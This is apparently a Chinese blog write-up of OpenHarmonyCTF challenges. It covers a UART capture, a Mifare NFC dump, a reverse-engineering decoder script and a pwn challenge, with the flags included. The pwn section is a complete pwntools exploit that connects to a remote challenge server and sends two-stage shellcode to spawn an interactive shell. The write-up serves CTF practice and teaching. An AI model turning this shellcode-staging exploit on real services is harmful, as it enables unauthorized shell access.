Featured image of post OpenHarmonyCTF wp-Nan0in

OpenHarmonyCTF wp-Nan0in

鸿蒙CTF,

Hardware

uart-mystery

一台 Harmony 守护主机正在广播神秘信息,公开频道中你能听到一段不断重复的系统广播,但真正的秘密,却藏在信号之下的“细语”之中。
“有些声音并不是为所有耳朵准备的。”
你获得了一段捕捉到的串口通信记录(配合逻辑分析仪或串口数据流)。打开监听工具,分析信号,在那些杂音间,找出唯一属于你的那个节奏。只有调准频率,才能听懂隐藏在电流中的低语。
注:建议使用串口分析工具(如 Logic, Saleae, minicom, pyserial 等)观察和尝试不同通信参数。

给了.sal文件,搜索后发现saleae logic可以用于分析串口数据,记录逻辑信息,所以将.sal拖入,然后导入Analyser,由于有meta.json,配置就有了

找到flag
flag{w3c10me::openharmony::init}

A Mysterious Card

010editor bad misc,脑筋急转弯,打开.nfc文件可以看到相关联的信息,Mifare Classic型号,对下面的十六进制010editor看一下就有

上下两端根据前半段提示的 structure_of_mifare_card进行筛选拼接,去掉block的标识行(rv..)后拼接即可
flag{enma5t3r1ng_s7ruc7ur3_0f_m1far3_card_pXLFOtFJuiKCkbPhNPzV}

reverse

easyre

用abc-decompiler反编译 flag由hint1与magic组成,在obj3中有,动态
两部分分别用了不同的算法
magic使用了base64算法的解密然后进行字符串反转
hint1则使用了自定义加减反转字符串运算

hint1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def transform_hint(original_hint):
    
    step1 = ''.join([chr(ord(c) + len(original_hint)) for c in original_hint])
    
    step2 = step1[::-1]
    
    step3 = ''.join([chr(ord(step2[i]) - i) for i in range(len(step2))])
   
    transformed = step3[::-1]
    
    return transformed

def main():
    original_hint = "tlfr`llakodZVS^RaWQSP"
    
    transformed_hint = transform_hint(original_hint)
    print(f"decoded hint: {transformed_hint}")

if __name__ == "__main__":
    main()

然后拼接一下即可

Pwn

minishell

跑QEMU我在arch /mnt下专门放了挂载用盘,然后sudo mount ./userdata.img /mnt/disk_nan0in 就搞定了

ida里可以看到调用cat的时候可以输shellcode(或者你跑起来以后指令一个个尝试一下)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
filename = './pwn'
# libc = './libc.so.6'
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
    return f"\x1b[95m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("61.147.171.107", 42110)
# gdb.attach(io)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def uu32(data):
    return u32(data.ljust(4, b"\x00"))


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def ia():
    return io.interactive()


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
    return u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))


sl("cat")
payload = asm("""
            mov rsi,rdi  
            xor rdi,rdi 
            mov rdx,0x100 
            xor rax,rax 
            syscall 
            """)
print(payload)
sl(payload)

log.success(VIO_TEXT("read second shellcode"))

payload = b'\xEB\x00'*0x10+asm("""
                         mov rsp,0x100000000
                         add rsp,0x800 
                         """)+asm(shellcraft.sh())
sl(payload)

io.interactive()

本博客已稳定运行
发表了43篇文章 · 总计14万2千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...